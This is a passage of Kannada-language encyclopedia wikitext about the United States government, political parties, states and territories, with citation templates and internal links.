ಸದಸ್ಯರನ್ನು ಹೊಂದಿರುತ್ತದೆ. ಪ್ರತಿಯೊಬ್ಬ ಪ್ರತಿನಿಧಿಯೂ ಒಂದು [[ಸಮ್ಮಿಳಿತ ಡಿಸ್ಟ್ರಿಕ್ಟ್‌|ಕಾಂಗ್ರೆಶ್ಶನಲ್ ಡಿಸ್ಟ್ರಿಕ್ಟ್‌]]ಗಳಿಗೆ ಎರಡು ವರ್ಷಗಳ ಕಾಲ ಪ್ರತಿನಿಧಿಗಳಾಗಿರುತ್ತಾರೆ. ಪ್ರತಿನಿಧಿಗಳಾದ ನಂತರ ಒಂದೊಮ್ಮೆ ಪುನರ್‌ಚುನಾವಣೆಯನ್ನು ನಡೆದರೆ ಸುಮಾರು ಶೇಕಡಾ ತೊಂಬತ್ತರಷ್ಟು ಸಮಯದಲ್ಲಿ ಅವರೇ ಆರಿಸಿ ಬರುವ ಸಾಧ್ಯತೆಗಳಿವೆ.<ref name="twsSEPnn01">{{cite news | author = Perry Bacon Jr. | title = Post Politics Hour: Weekend Review and a Look Ahead | publisher = Washington Post | date = August 31, 2009 | url = http://www.washingtonpost.com/wp-dyn/content/discussion/2009/08/27/DI2009082703265.html | accessdate = 2009-09-20 }}</ref><ref name="twsSEP03">{{cite book | last = Huckabee | first = David C. | authorlink = | coauthors = | title = Reelection Rates of Incumbents | publisher = Novinka Books, an imprint of Nova Science Publishers | date = 2003 | location = Hauppauge, New York | pages = 21 | url = http://books.google.com/books?id=NSFntwPRYmUC&pg=PA21&lpg=PA21&dq=congress%3F+re-election%3F+statistic%3F+(%2290%25%22+or+%2290+percent%22)&source=bl&ots=VrQY0V1jim&sig=PrBqhAYCfquQzIGwxwQf94Q1gnc&hl=en&ei=8Cy2SqfhOpqz8QaA3cWTDw&sa=X&oi=book_result&ct=result&resnum=1#v=onepage&q=&f=false | doi = | id = | isbn = 1-59033-5090-0}}</ref><ref name="twsSEPoo">{{cite paper | url=http://74.125.113.132/search?q=cache:7vwfDnZQrecJ:https://www.policyarchive.org/bitstream/handle/10207/265/95-361_19950308.pdf%3Fsequence%3D1+congress%3F+re-election%3F+statistic%3F+(%2290%25%22+or+%2290+percent%22)&cd=7&hl=en&ct=clnk&gl=us&client=firefox-a | title=Reelection rate of House Incumbents 1790-1990 Summary (page 2)| version= | format=.PDF | publisher=Congressional Research Service -- The Library of Congress | author=David C. Huckabee -- Analyst in American National Government -- Government Division | date=1995-03-08 | accessdate= 2009-09-20}}</ref><ref name="twsSEPnn05">{{cite news | author = Janice Francis-Smith | title = Waging campaigns against incumbents in Oklahoma | publisher = The Oklahoma City Journal Record | date = 2008-10-22 | url = http://findarticles.com/p/articles/mi_qn4182/is_20081022/ai_n30925232/ | accessdate = 2009-09-20 }}</ref><ref name="twsSEPnn06">{{cite news | author = | title = How To Clean Up The Mess From Inside The System, A Plea--And A Plan--To Reform Campaign Finance Before It's Too | publisher = NEWSWEEK | date = Oct 28, 1996 | url = http://www.newsweek.com/id/103143 | accessdate = 2009-09-20 }}</ref> ಈ ಮನೆಯ ಸ್ಥಾನಗಳನ್ನು ರಾಜ್ಯಗಳ ಜನಸಂಖ್ಯೆಯ ಆಧಾರದ ಮೇಲೆ ಪ್ರತೀ ಹತ್ತು ವರ್ಷಗಳಿಗೊಮ್ಮೆ [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಸಮ್ಮಿಳನದ ಪಾಲು|ಪಾಲು ಮಾಡಲಾಗುತ್ತದೆ]]. [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಜನಗಣತಿ, 2000|2000ದ ಜನಗಣತಿ]]ಯಂತೆ ಏಳು ರಾಜ್ಯಗಳು ಕನಿಷ್ಠ ಒಂದು ಪ್ರತಿನಿಧಿಯನ್ನು ಹೊಂದಿವೆ, ಇದೇವೇಳೆ ಆತೀ ಹೆಚ್ಚಿನ ಜನಸಂಖ್ಯೆಯ ಕ್ಯಾಲಿಫೋರ್ನಿಯಾವು ಐವತ್ಮೂರು ಪ್ರತಿನಿಧಿಗಳನ್ನು ಹೊಂದಿದೆ. *ಸೆನಟ್‌ನಲ್ಲಿ ನೂರು ಜನ ಸದಸ್ಯರಿದ್ದು ಪ್ರತೀ ರಾಜ್ಯದಿಂದ ಇಬ್ಬರು ಸೆನಟ್‌ ಸದಸ್ಯರಿರುತ್ತಾರೆ. ಈ ಸದಸ್ಯರು ಆರು ವರ್ಷಗಳ [[ದೊಡ್ಡದಾದ|ದೀರ್ಘ]] ಅವಧಿಗೆ ಚುನಾಯಿಸಲ್ಪಟ್ಟಿರುತ್ತಾರೆ. ಮೂರರಲ್ಲಿ ಒಂದು ಭಾಗದ ಸ್ಥಾನಗಳಿಗೆ ಪ್ರತೀ ಎರಡು ವರ್ಷಕ್ಕೊಮ್ಮೆ ಚುನಾವಣೆಯು ನಡೆಸಲ್ಪಡುತ್ತದೆ. ಅಧ್ಯಕ್ಷರು ನಾಲ್ಕು ವರ್ಷದ ಅವಧಿಗೆ ಆರಿಸಲ್ಪಟ್ಟಿರುತ್ತಾರೆ ಹಾಗೂ ಕಾರ್ಯಾಂಗಕ್ಕೆ [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದಲ್ಲಿ ಸೀಮಿತ ಅವಧಿ|ಎರಡಕ್ಕಿಂತ ಹೆಚ್ಚು ಬಾರಿ]] ಚುನಾಯಿಸಲ್ಪಡುವಂತಿಲ್ಲ. ಅಧ್ಯಕ್ಷರು [[ಅಮೆರಿಕಾ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ರಾಷ್ಟ್ರಪತಿ ಚುನಾವಣೆ|ನೇರ ಮತಗಳಿಂದ ಆರಿಸಲ್ಪಟ್ಟವರಲ್ಲ]]. ಆದರೆ ರಾಜ್ಯಗಳಿಂದ ನಿಶ್ಚಯಿಸಿದ ಮತಗಳ ಭಾಗಗಳಾದ ಪರೋಕ್ಷ [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಎಲೆಕ್ಟೋರಲ್ ಕಾಲೇಜು|ಎಲೆಕ್ಟೋರಲ್ ಕಾಲೇಜು]] ವ್ಯವಸ್ಥೆಯಿಂದ ಆರಿಸಲ್ಪಟ್ಟವರಾಗಿರುತ್ತಾರೆ. [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಮುಖ್ಯ ನ್ಯಾಯಾಧೀಶರು|ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಮುಖ್ಯ ನ್ಯಾಯಮೂರ್ತಿ]]ಗಳು ಒಂಭತ್ತು ಸದಸ್ಯರೊಂದಿಗೆ ಸರ್ವೋಚ್ಛ ನ್ಯಾಯಾಲಯವನ್ನು ಮುನ್ನಡೆಸುತ್ತಾರೆ. ರಾಜ್ಯ ಸರ್ಕಾರಗಳನ್ನು ಕಠಿಣವಾದ ಪದ್ಧತಿಗಳಿಂದ ರಚಿಸಲಾಗಿದೆ. [[ನೆಬ್ರಸ್ಕಾ]]ವು ವಿಶಿಷ್ಟವಾದ [[ಬಹುಮುಖೀ|ಏಕಸದನ]]ಗಳ ಶಾಸಕಾಂಗವಾಗಿದೆ. ಪ್ರತೀ ರಾಜ್ಯದ [[ಗವರ್ನರ್#ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ|ಗವರ್ನರ್]] ನೇರವಾಗಿ ಆರಿಸಲ್ಪಟ್ಟವರಾಗಿರುತ್ತಾರೆ. ಎಲ್ಲ ಕಾನೂನುಗಳು ಮತ್ತು ಕಾಯಿದೆ ಕ್ರಮಗಳು ರಾಜ್ಯ ಹಾಗೂ ಫೆಡರಲ್‌ ಸರ್ಕಾರದಲ್ಲಿ ಪರಿಶೀಲನೆಗೆ ಒಳಪಡುತ್ತವೆ. ಯಾವುದೇ ಕಾನೂನು ಸಂವಿಧಾನದ ನಡವಳಿಕೆಯಲ್ಲಿ ಉಲ್ಲಂಘಿಸಿದಂತೆ ಕಂಡುಬಂದಲ್ಲಿ ನ್ಯಾಯಾಂಗವು ಅದನ್ನು ಅನೂರ್ಜಿತಗೊಳಿಸುತ್ತದೆ. ಸಂವಿಧಾನದ ಮೂಲ ಪಠ್ಯವು ಫೆಡರಲ್ ಸರ್ಕಾರದ ರಚನೆ ಮತ್ತು ಜವಾಬ್ದಾರಿಗಳನ್ನು ಮತ್ತು ಎಲ್ಲ ರಾಜ್ಯಗಳೊಡನೆ ಇರಬೇಕಾದ ಸಂಬಂಧದ ಕುರಿತು ಹೇಳಿದೆ. [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಒಂದನೇ ಅಧಿನಿಯಮ|ಮೊದಲನೇ ಅಧಿನಿಯಮ‌]]ವು [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದಲ್ಲಿ ಹೇಬಿಯಸ್ ಕಾರ್ಪಸ್|ಹೇಬಿಯಸ್ ಕಾರ್ಪಸ್‌]]ನ "ಮಹಾ ನಿರೂಪ"ವನ್ನು ರಕ್ಷಿಸುತ್ತದೆ ಮತ್ತು [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಮೂರನೇ ಅಧಿನಿಯಮ|ಮೂರನೇ ಆರ್ಟಿಕಲ್‌]] ಎಲ್ಲ ಅಪರಾಧ ಪ್ರಕರಣಗಳಲ್ಲಿ [[ನ್ಯಾಯ ತೀರ್ಮಾನ#ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ|ತೀರ್ಪುಗಾರರ ಸಮಿತಿಯ ವಿಚಾರಣೆಯ ಹಕ್ಕ]]ನ್ನು ರಕ್ಷಿಸುತ್ತದೆ. [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಐದನೇ ಅದಿನಿಯಮ|ಸಂವಿಧಾನದ ತಿದ್ದುಪಡಿಗಳಿಗೆ]] ನಾಲ್ಕನೇ ಮೂರು ಭಾಗದ ರಾಜ್ಯಗಳ ಒಪ್ಪಿಗೆಯ ಅಗತ್ಯವಿದೆ. ಸಂವಿಧಾನವು ಇಪ್ಪತ್ತೇಳು ಬಾರಿ ತಿದ್ದುಪಡಿಗೆ ಒಳಪಟ್ಟಿದೆ. ಮೊದಲ ಹತ್ತು ತಿದ್ದುಪಡಿಗಳನ್ನು [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಹಕ್ಕು ಮಸೂದೆ|ಬಿಲ್ ಆಪ್ ರೈಟ್ಸ್‌]]ಗಾಗಿ ಮಾಡಲಾಗಿದೆ. [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಸಂವಿಧಾನಕ್ಕೆ ಹದಿನಾಲ್ಕನೇ ತಿದ್ದುಪಡಿ|ಹದಿನಾಲ್ಕನೇ ತಿದ್ದುಪಡಿ]]ಯು ಅಮೆರಿಕದವರ ವೈಯಕ್ತಿಕ ಹಕ್ಕುಗಳನ್ನು ಕೇಂದ್ರೀಕರಿಸಿರುವುದಾಗಿದೆ. === ಪಕ್ಷಗಳು, ಸಿದ್ಧಾಂತಗಳು ಮತ್ತು ರಾಜಕೀಯ === {{Main|Politics of the United States|Political ideologies in the United States}} [[ಚಿತ್ರ:Barack Obama - ITN.jpg|thumb| ಜನವರಿ 20, 2009ರಲ್ಲಿ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಮುಖ್ಯನ್ಯಾಯಮೂರ್ತಿಗಳಾದ ಜಾನ್ ಜಿ.ರಾಬರ್ಟ್ಸ್ ಅವರಿಂದ ಬರಾಕ್ ಒಬಾಮ ಅಧ್ಯಕ್ಷೀಯ ಪ್ರಮಾಣವಚನ ಸ್ವೀಕರಿಸಿದರು.]] ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಇತಿಹಾಸದಲ್ಲಿ ಅತ್ಯಂತ ಹೆಚ್ಚಿನ ವರ್ಷಗಳಲ್ಲಿ [[ದ್ವಿ ಪಕ್ಷ ಪದ್ಧತಿ|ಎರಡು ಪಕ್ಷಗಳ ವ್ಯವಸ್ಥೆ]]ಯಿಂದ ನಿರ್ವಹಿಸಲ್ಪಟ್ಟಿದೆ. ಎಲ್ಲ ಹಂತಗಳ ಚುನಾಯಿತ ಕಾರ್ಯಾಲಯಗಳಿಗಾಗಿ ರಾಜ್ಯ ಆಡಳಿತದ [[ಪ್ರಾಥಮಿಕ ಚುನಾವಣೆ]]ಯು, ಪ್ರಮುಖ ಪಕ್ಷಗಳ ನೇಮಕಗೊಂಡ ವ್ಯಕ್ತಿಗಳಿಂದ ಮುಂದಿನ [[ಸಾರ್ವತ್ರಿಕ ಚುನಾವಣೆ|ಮಹಾ ಚುನಾವಣೆ]]ಗೆ ಆರಿಸುತ್ತದೆ. [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಅಧ್ಯಕ್ಷೀಯ ಚುನಾವಣೆ, 1856|1856ರ ಮಹಾ ಚುನಾವಣೆ]]ಯವರೆಗೆ ಮುಖ್ಯ ಪಕ್ಷಗಳಾಗಿ [[ಡೆಮೊಕ್ರಾಟಿಕ್ ಪಕ್ಷದ ಇತಿಹಾಸ (ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ)|1824]]ರಲ್ಲಿ ಸ್ಥಾಪಿತವಾದ [[ಡೆಮೊಕ್ರಾಟಿಕ್ ಪಕ್ಷ (ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ)|ಡೆಮಾಕ್ರಟಿಕ್ ಪಕ್ಷ]] ಮತ್ತು [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ರಿಪಬ್ಲಿಕನ್ ಪಕ್ಷದ ಇತಿಹಾಸ|1854]]ರಲ್ಲಿ ಸ್ಥಾಪಿತವಾದ [[ರಿಪಬ್ಲಿಕನ್ ಪಕ್ಷ (ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ)|ರಿಪಬ್ಲಿಕನ್ ಪಕ್ಷ]]ವು ಕಂಡುಬಂತು. ಆಂತರಿಕ ಯುದ್ಧದ ನಂತರದಲ್ಲಿ ಒಮ್ಮೆ ಮಾತ್ರ [[ಮೂರನೇ ಪಕ್ಷ (ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ)|ಮೂರನೇ ಪಕ್ಷ]]ದ ಅಧ್ಯಕ್ಷೀಯ ಅಭ್ಯರ್ಥಿ, ಮಾಜಿ ಅಧ್ಯಕ್ಷರಾದ [[ಥಿಯೊಡರ್ ರೂಸ‌್ವೆಲ್ಟ್‌|ಥಿಯೋಡರ್ ರೂಸ್‌ವೆಲ್ಟ್]] ರ [[ಪ್ರೊಗ್ರೆಸ್ಸಿವ್ ಪಕ್ಷ (ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ , 1912)|ಪ್ರೊಗ್ರೆಸ್ಸಿವ್]] ಪಕ್ಷವು [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಅಧ್ಯಕ್ಷೀಯ ಚುನಾವಣೆ,1912|1912]]ರಲ್ಲಿ 20% ಮತಗಳನ್ನು ಪಡೆದಿತ್ತು. ಅಮೆರಿಕದ [[ರಾಜಕೀಯ ಸಂಸ್ಕೃತಿ]]ಯ ನೆಲೆಯಲ್ಲಿ ರಿಪಬ್ಲಿಕನ್ ಪಕ್ಷವು ಬಲ ಮಧ್ಯ ಅಥವಾ [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದಲ್ಲಿ ಸಾಂಪ್ರದಾಯವಾದ|ಸಂಪ್ರದಾಯವಾದಿ]]ಯಾಗಿದೆ ಮತ್ತು ಡೆಮಾಕ್ರಟಿಕ್ ಪಕ್ಷವು ಎಡ ಮಧ್ಯ ಅಥವಾ [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದಲ್ಲಿ ಅಧುನಿಕ ಉದಾರವಾದ|ಉದಾರವಾದ]]ವನ್ನು ಸ್ವೀಕರಿಸಿದೆ. [[ಕೆಂಪು ರಾಜ್ಯಗಳು ಮತ್ತು ನೀಲಿ ರಾಜ್ಯಗಳು|ನೀಲಿ ರಾಜ್ಯ]]ಗಳು ಎಂದು ಕರೆಸಿಕೊಂಡಿರುವ [[ಗ್ರೇಟ್ ಲೇಕ್ಸ್ ಪ್ರದೇಶ (ಉತ್ತರ ಅಮೆರಿಕ )|ಗ್ರೇಟ್ ಲೇಕ್ಸ್]], [[ಪಶ್ಚಿಮ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ# ರಾಜಕೀಯ|ಪಶ್ಚಿಮ ಕರಾವಳಿ]] ಮತ್ತು [[ವಾಯುವ್ಯ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ#ರಾಜಕೀಯ|ಈಶಾನ್ಯ]] ರಾಜ್ಯಗಳು ಉದಾರವಾದಕ್ಕೆ ಹತ್ತಿರವಾಗಿವೆ. [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ರಾಜ್ಯಗಳಲ್ಲಿ ರಾಜಕೀಯ ಪಕ್ಷಗಳ ಬಲವೃದ್ಧಿ|ಕೆಂಪು ರಾಜ್ಯ]]ಗಳಾದ [[ಮಧ್ಯಪೂರ್ವ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ # ರಾಜಕೀಯ ಬದಲಾವಣೆಗಳು|ಗ್ರೇಟ್ ಪ್ಲೇನ್ಸ್‌]]ನ ಭಾಗಗಳು, [[ಪಶ್ಚಿಮ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ # ರಾಜಕೀಯ|ಕಲ್ಲಿನ ಪರ್ವತಗಳು]] ಮತ್ತು [[ದಕ್ಷಿಣ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ರಾಜಕೀಯ|ದಕ್ಷಿಣ]]ದ ರಾಜ್ಯಗಳು ಸಂಪ್ರದಾಯವಾದಕ್ಕೆ ಹತ್ತಿರವಾಗಿವೆ. [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಅಧ್ಯಕ್ಷೀಯ ಚುನಾವಣೆ 2008|2008ರ ಅಧ್ಯಕ್ಷೀಯ ಚುನಾವಣೆ]]ಯಲ್ಲಿ ಆರಿಸಿಬಂದಿರುವ ಡೆಮಾಕ್ರಾಟಿಕ್ ಪಕ್ಷದ ಅಭ್ಯರ್ಥಿ [[ಬರಾಕ್ ಓಬಾಮ|ಬರಾಕ್ ಒಬಾಮಾ]]ರವರು [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಅಧ್ಯಕ್ಷರ ಪಟ್ಟಿ|ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ 44ನೇ ಅಧ್ಯಕ್ಷ]] ಮತ್ತು ಮೊಟ್ಟಮೊದಲ ಆಫ್ರಿಕನ್ ಅಮೆರಿಕನ್ ಆಗಿದ್ದಾರೆ. ಈ ಹಿಂದಿನ ಎಲ್ಲ ಅಧ್ಯಕ್ಷರೂ ಯುರೋಪಿಯನ್ ಮೂಲದ ಪೀಳಿಗೆಯವರಾಗಿದ್ದರು. [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಪ್ರತಿನಿಧಿಗಳ ಮನೆಯ ಚುನಾವಣೆ, 2008|ಹೌಸ್]] ಮತ್ತು [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಸಂಪುಟ ಚುನಾವಣೆ, 2008|ಸೆನೆಟ್]]ದಲ್ಲಿ ಡೆಮಾಕ್ರಟಿಕ್ ಪಕ್ಷದ ಪ್ರಾಬಲ್ಯವನ್ನು 2008ರ ಚುನಾವಣೆಯೂ ಕಂಡಿದೆ. [[111ನೇ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಸಮ್ಮೇಳನ|ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ 111ನೇ ಸಭೆ]]ಯು ಸಂಪುಟದಲ್ಲಿ, ಐವತ್ತೇಳು ಡೆಮಾಕ್ರಟಿಕ್ ಪಕ್ಷದ ಅಭ್ಯರ್ಥಿಗಳನ್ನು, ಡೆಮಾಕ್ರಟಿಕ್‌ರ ಜೊತೆ ರಹಸ್ಯ ಮೈತ್ರಿ ಮಾಡಿಕೊಂಡ ಇಬ್ಬರು [[ಸ್ವಾತಂತ್ರ(ರಾಜಕಾರಣಿ)|ಸ್ವತಂತ್ರರು]] ಮತ್ತು 40 ರಿಪಬ್ಲಿಕನ್ನರನ್ನು ಹಾಗೂ ಒಂದು ಖಾಲೀ ಸ್ಥಾನವನ್ನು ಒಳಗೊಂಡಿದೆ. 256 ಡೆಮಾಕ್ರಾಟ್‌ರನ್ನು ಮತ್ತು 178 ರಿಪಬ್ಲಿಕನ್ನರನ್ನು ಹಾಗೂ ಒಂದು ಖಾಲೀ ಸ್ಥಾನವನ್ನು ಹೌಸ್ ಒಳಗೊಂಡಿದೆ. == ರಾಜಕೀಯ ವಿಭಾಗಗಳು == {{Main|ಅಮೆರಿಕ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ರಾಜ್ಯಗಳು}} {{See|Territorial evolution of the United States|Territorial acquisitions of the United States}} ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನವು 50 ರಾಜ್ಯಗಳ [[ಫೆಡರೇಶನ್|ಫೆಡರಲ್ ಒಕ್ಕೂಟ]]ವಾಗಿದೆ.ಇಲ್ಲಿಯ ಮೂಲ ಹದಿಮೂರು ರಾಜ್ಯಗಳು ಬ್ರಿಟಿಷ್‌ ಆಡಳಿತದ ವಿರುದ್ಧ ತಿರುಗಿಬಿದ್ದ [[ಹದಿಮೂರು ವಸಾಹತುಗಳು|ಹದಿಮೂರು ವಸಾಹತು]]ಗಳಿಂದ ಆದವುಗಳಾಗಿವೆ. ಸ್ವಾತಂತ್ರ್ಯಾನಂತರದ ತಲೆಮಾರಿನ ಇತರ ರಾಜ್ಯಗಳು (ರಾಜ್ಯದಾಚೆಗಿನ ಭೂಭಾಗಗಳು) ಫೆಡರಲ್ ಆಡಳಿತಗಾರರಿಂದ ಒಗ್ಗೂಡಿಸಲ್ಪಟ್ಟವುಗಳು. [[ವರ್ಜೀನಿಯಾ]]ದಿಂದ [[ಕೆಂಟುಕಿ]], [[ಉತ್ತರ ಕೆರೊಲಿನ|ಉತ್ತರ ಕೆರೊಲಿನಾ]]ದಿಂದ [[ಟೆನ್ನೆಸ್ಸಿ|ಟಿನ್ನೀಸ್]], [[ಮೆಸ್ಸಾಚುಸೆಟ್ಸ್|ಮೆಸಾಚ್ಯುಸೆಟ್ಸ್‌]]ನಿಂದ [[ಮೈನೆ]] ಈ ಮೂರು ಭಾಗಗಳು ಮೂಲರಾಜ್ಯಗಳಿಂದ ಬೇರ್ಪಡಿಸಲ್ಪಟ್ಟವು. ಒಗ್ಗೂಡಿಸಲ್ಪಟ್ಟ ಇತರ ರಾಜ್ಯಗಳು ಸಾಮಾನ್ಯವಾಗಿ ಯು.ಎಸ್‌, ಸಮರದ ಮೂಲಕ ವಶಪಡಿಸಿಕೊಂಡವು ಅಥವಾ ಖರೀದಿಸಿದ್ದಾಗಿವೆ. ಒಂದು ಅಪವಾದವೆಂದರೆ, ಒಕ್ಕೂಟವನ್ನು ಸೇರುವ ಮೊದಲು [[ವೆರ್ಮಾಂಟ್]], [[ಟೆಕ್ಸಾಸ್]] ಮತ್ತು [[ಹವಾಯಿ]] ಈ ಮೂರೂ ಸ್ವತಂತ್ರ ಗಣರಾಜ್ಯಗಳಾಗಿದ್ದವು. ಈ ದೇಶದ ಇತಿಹಾಸದ ಮೊದಲ ಕಾಲಘಟ್ಟದಲ್ಲಿ ಮೂರು ರಾಜ್ಯಗಳನ್ನು ಇದೇ ರೀತಿಯಲ್ಲಿ ರಚಿಸಲಾಗಿದೆ.[[ಅಮೇರಿಕಾದ ಆಂತರಿಕ ಯುದ್ಧ|ಅಮೆರಿಕದ ಆಂತರಿಕ ಯುದ್ಧ]]ದ ಸಮಯದಲ್ಲಿ ವರ್ಜೀನಿಯಾದಿಂದ [[ಪಶ್ಚಿಮ ವರ್ಜಿನಿಯಾ|ಪಶ್ಚಿಮ ವರ್ಜೀನಿಯಾ]]ವು ಬೇರ್ಪಟ್ಟಿತು. ಇತ್ತೀಚಿನ ರಾಜ್ಯವಾದ ಹವಾಯಿಯು ಅಗಸ್ಟ್ 21, 1959ರಂದು ರಾಜ್ಯ ಪದವಿಯನ್ನು ಪಡೆಯಿತು. ರಾಜ್ಯಗಳು ಒಕ್ಕೂಟದಿಂದ [[ಬಿಟ್ಟುಹೋಗುವುದು|ಮುಕ್ತ]]ವಾಗುವ [[ಟೆಕ್ಸಾಸ್ ವಿ.ವೈಟ್|ಹಕ್ಕನ್ನು ಹೊಂದಿಲ್ಲ]]. ರಾಜ್ಯಗಳು ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ವಿಶಾಲವಾದ ಭೂಮಿಯನ್ನು ಒಳಗೊಳ್ಳುತ್ತವೆ. ದೇಶದ ಇನ್ನೆರಡು ಸಮಗ್ರ ಭಾಗಗಳೆಂದರೆ ಕೊಲಂಬಿಯಾ ಡಿಸ್ಟ್ರಿಕ್ಟ್‌ ಹಾಗೂ ವಾಶಿಂಗ್ಟನ್‌ನ್ನು ರಾಜಧಾನಿಯನ್ನಾಗಿ ಹೊಂದಿರುವ [[ಫೆಡರಲ್ ಡಿಸ್ಟ್ರಿಕ್ಟ್‌]]. ಪೆಸಿಫಿಕ್ ಸಮುದ್ರದಲ್ಲಿನ [[ಪಾಮಿರಾ ಅಟೊಲ್]] ಕೂಡಾ, ಜನವಸತಿಯಿಲ್ಲದ, ದೇಶಕ್ಕೆ [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಪ್ರದೇಶಗಳು|ಸೇರಿಸಲ್ಪಟ್ಟ ಭೂಭಾಗವೇ]] ಆಗಿದೆ. ಐದು ಬಹುಮುಖ್ಯ ಸಮುದ್ರಲ್ಲಿನ ಆಡಳಿತದ ಭೂಭಾಗಗಳನ್ನು ಸಹಾ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನವು ಹೊಂದಿದೆ. ಕೆರಿಬಿಯನ್‌ನಲ್ಲಿನ [[ಪೋರ್ಟೋ ರಿಕೋ|ಪೊರ್ಟೋ ರಿಕೋ]] ಮತ್ತು [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ವಿರ್ಜಿನ್ ದ್ವೀಪಗಳು|ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ವರ್ಜಿನ್ ದ್ವೀಪಗಳು]] ಹಾಗೂ ಪೆಸಿಫಿಕ್‌ನಲ್ಲಿನ [[ಅಮೆರಿಕನ್ ಸಮೊಯ|ಅಮೆರಿಕನ್ ಸಮೋವಾ]], [[ಗುವಾಮ|ಗುವಾಮ್]] ಮತ್ತು [[ಉತ್ತರ ಮರಿಯಾನ ದ್ವೀಪಗಳು]]. ಈ ದ್ವೀಪಗಳಲ್ಲಿ ಹುಟ್ಟಿದವರು (ಅಮೆರಿಕನ್ ಸಮೋವಾವನ್ನು ಹೊರತುಪಡಿಸಿ) [[ಅಮೆರಿಕ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದಲ್ಲಿ ಪೌರತ್ವ ಜನ್ಮಸಿದ್ಧ ಹಕ್ಕು|ಅಮೆರಿಕದ ಪೌರತ್ವವನ್ನು]] ಹೊಂದಿರುತ್ತಾರೆ. {{USA midsize imagemap with state names}} == ವಿದೇಶಿ ಸಂಬಂಧಗಳು ಹಾಗೂ ಸೇನೆ == {{Main|Foreign policy of the United States|United States armed forces}} [[ಚಿತ್ರ:President Barack Obama meets Prime Minister Gordon Brown.jpg|thumb|right|ಯುನೈಟ್‍ಡ್ ಕಿಂಗ್‌ಡಂನ ಪ್ರಧಾನ ಮಂತ್ರಿ ಗೊರ್ಡೊನ್ ಬ್ರೌನ್ ಮತ್ತು ಅಧ್ಯಕ್ಷ ಒಬಾಮ ]] ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನವು ಜಾಗತಿಕವಾಗಿ ಆರ್ಥಿಕತೆ, ರಾಜಕೀಯ, ಸೇನಾ ಪ್ರಭಾವವನ್ನು ಬೀರುತ್ತದೆ. ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನವು [[ವಿಶ್ವ ಸಂಸ್ಥೆಯ ಭದ್ರತಾ ಮಂಡಳಿ|ವಿಶ್ವಸಂಸ್ಥೆಯ ರಕ್ಷಣಾ ಸಮಿತಿ]]ಯ ಖಾಯಂ ಸದಸ್ಯತ್ವವನ್ನು ಹೊಂದಿದೆ ಮತ್ತು ನ್ಯೂಯಾರ್ಕ್ ಸಿಟಿಯಲ್ಲಿ [[ವಿಶ್ವಸಂಸ್ಥೆಯ ಪ್ರಧಾನಕಚೇರಿ|ವಿಶ್ವಸಂಸ್ಥೆಯ ಮುಖ್ಯ ಕಾರ್ಯಾಲಯ]]ವಿದೆ. ಸರ್ವೇಸಾಮಾನ್ಯವಾಗಿ ಎಲ್ಲ ದೇಶಗಳೂ ವಾಶಿಂಗ್ಟನ್ ಡಿ.ಸಿ ಯಲ್ಲಿ [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದಲ್ಲಿ ರಾಯಭಾರ ಸಂಸ್ಥೆಗಳ ಪಟ್ಟಿ|ರಾಯಭಾರ ಕಛೇರಿ]]ಗಳನ್ನು ಹೊಂದಿವೆ. ಮತ್ತು ದೇಶಾದ್ಯಂತ [[ನಿಯೋಗಿ(ಪ್ರತಿನಿಧಿ)|ವಾಣಿಜ್ಯ ದೂತಾವಾಸ]]ಗಳನ್ನು ಹೊಂದಿದೆ. ಅಂತೆಯೇ ಸುಮಾರು ಎಲ್ಲ ದೇಶಗಳೂ [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನನಲ್ಲಿ 